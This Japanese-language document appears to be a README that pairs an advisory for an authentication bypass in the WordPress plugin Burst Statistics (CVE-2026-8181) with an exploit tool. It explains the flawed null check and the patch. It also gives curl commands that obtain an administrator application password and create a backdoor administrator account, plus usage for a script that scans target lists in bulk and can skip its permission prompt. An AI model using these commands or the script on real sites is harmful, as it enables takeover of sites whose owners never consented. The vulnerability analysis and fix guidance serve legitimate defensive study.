
The Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) plugin for WordPress は、Authentication Bypass の脆弱性があります。
脆弱性概要
WordPress プラグイン Burst Statistics のバージョン 3.4.0 から 3.4.1.1 には、認証されていない認証バイパス の脆弱性があり、完全な 管理者アカウント乗っ取り につながります。この深刻な欠陥により、任意の管理者ユーザー名を知っている認証されていない攻撃者が、1 回の HTTP リクエストでそのアカウントの有効な WordPress アプリケーションパスワードを発行し、サイト全体への永続的な管理者レベルのアクセスを達成することができます。
この脆弱性は、class-mainwp-proxy.php の is_mainwp_authenticated() 関数に起因します。この関数は wp_authenticate_application_password() を呼び出し、結果が WP_Error であるかどうかのみをチェックします。結果が実際に成功した WP_User オブジェクトであるかどうかは 確認しません。WordPress の内部フィルター application_password_is_api_request が false を返すと — これは通常の REST API 認証フローの外部で呼び出された場合に発生します — WordPress 関数は WP_Error や WP_User の代わりに null を返します。null は WP_Error ではないため、チェックを通過し、攻撃者が選択した管理者ユーザーが wp_set_current_user() によって現在のユーザーとして設定されます。
現在のユーザーが管理者に切り替わると、その後の権限チェックが通過します。攻撃者は /burst/v1/mainwp-auth REST エンドポイントにアクセスできるようになり、管理者アカウントの WordPress アプリケーションパスワードを作成してレスポンスで返します。これにより、攻撃者は永続的で完全な管理者レベルのアクセスを得ることができます。
影響を受けるプラグイン
攻撃者ができること
技術的分析
Burst Statistics は WordPress の plugins_loaded フック (優先度 9) で初期化され、class-burst.php 内で行われます:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() はすべての管理機能のゲートキーパーです。X-BurstMainWP ヘッダーをチェックし、脆弱な関数を呼び出します:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lines 313-342 (脆弱な 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// 脆弱: REST API 認証フローの外部では
// wp_authenticate_application_password() が null を返す
$is_valid = wp_authenticate_application_password( null, $username, $password );
// バグ: 結果が WP_Error かどうかのみチェック。null は WP_Error ではない → 通過!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() が null を返す理由WordPress 内部関数 wp_authenticate_application_password() にはフィルターがあります:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // API リクエストではないため、アプリケーションパスワード認証をスキップ
}
REST API 認証フローの外部 で呼び出された場合、これは null を返します。Burst Statistics のコードは is_wp_error($is_valid) のみをチェックしていました — null は WP_Error ではないため、チェックが誤って通過します。
X-BurstMainWP: 1 ヘッダーを送信has_admin_access() が is_mainwp_authenticated() をトリガーwp_authenticate_application_password() が null を返す (API コンテキスト外)is_wp_error(null) = false → チェック 通過wp_set_current_user($admin_id) が実行/burst/v1/mainwp-auth に POSThandle_auth_request() が WordPress アプリケーションパスワードを発行base64(username:app_password) として返される// class-mainwp-proxy.php, lines 399-415 (パッチ適用済み 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
適用された修正:
application_password_is_api_request フィルターを強制的に true にし、実際のパスワード検証が行われるようにするWP_User インスタンスであることを確認する (null ではない)hash_equals() を使用してユーザー名の一致を検証するさらに、REST エンドポイントの check_auth_permission() が強化され、current_user_can('manage_burst_statistics') と、クッキー認証リクエストに対する明示的な nonce 検証の両方を必須としました。
概念実証
# ステップ 1: ターゲットが脆弱であることを確認する (アプリケーションパスワードを発行)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# レスポンス: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# ステップ 2: トークンをデコード
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# ステップ 3: アプリケーションパスワードを使用して新しい管理者を作成
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
exploit_burst_statistics.py スクリプトは攻撃チェーン全体を自動化します:
readme.txt、プラグインヘッダー、またはアセットクエリ文字列によるバージョン検出X-BurstMainWP: 1 + 偽の Basic 認証による認証バイパスでトークンを発行エクスプロイトの機能
/wp-json/) と汚い場合 (/?rest_route=) の両方をサポートThreadPoolExecutor を使用した一括スキャン使用方法
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
targets.txt を作成:
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
修正推奨事項
開発者およびサイト所有者向け:
X-BurstMainWP: 1 ヘッダーを含むリクエストがないかサーバーログを確認するタイムライン
| 日付 | イベント |
|---|---|
| 2026-05-08 | CVE 予約 |
| 2026-05-11 | ベンダーに通知 |
| 2026-05-13 | 公開開示 |
| 2026-05-13 | パッチリリース (v3.4.2) |
研究者
参考文献
免責事項
この情報は教育目的および許可されたペネトレーションテストのためにのみ提供されています。コンピュータシステムへの不正な悪用は違法かつ非倫理的です。所有していないターゲットをテストする前に、必ず明示的な書面による許可を得てください。
| フィールド | 値 |
|---|
| プラグイン名 | Burst Statistics – プライバシーに配慮した WordPress 分析ツール |
| プラグインスラッグ | burst-statistics |
| 影響を受けるバージョン | 3.4.0 – 3.4.1.1 |
| パッチ適用済みバージョン | 3.4.2 |
| CVE ID | CVE-2026-8181 |
| CVSS スコア | 9.8 (深刻) |
| CVSS ベクトル | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 脆弱性タイプ | 認証バイパス(不適切な認証) |
| CWE | CWE-287 — 不適切な認証 |
| 影響 | サイト全体の乗っ取り — 管理者アカウント乗っ取り |
| 機能 | 影響 |
|---|
| 任意の管理者のアプリケーションパスワードを発行 | 永続的な管理者アクセス |
| REST API 経由で新しい管理者アカウントを作成 | アカウントの拡散 |
| プラグイン / テーマをインストール | リモートコード実行 |
| 投稿、ページ、設定を編集 | サイトの改ざん |
| すべてのサイトデータをエクスポートまたは削除 | データ破壊 / 流出 |
| WooCommerce / 顧客データにアクセス | データ漏洩 |
| フラグ | 説明 |
|---|
-t, --target | 単一ターゲットの URL |
-l, --list | ターゲットリストのファイル(1行1ターゲット) |
-T, --threads | 一括スキャンのスレッド数(デフォルト: 10) |
-o, --output | 結果の出力ファイル(デフォルト: result_burst_statistics.txt) |
-u, --username | 既知の管理者ユーザー名(列挙をスキップ) |
-v, --verbose | 詳細なデバッグ出力 |
--timeout | リクエストのタイムアウト(秒、デフォルト: 20) |
--no-confirm | 許可確認プロンプトをスキップ |
| 2026-05-15 |
| 実際の悪用が報告される |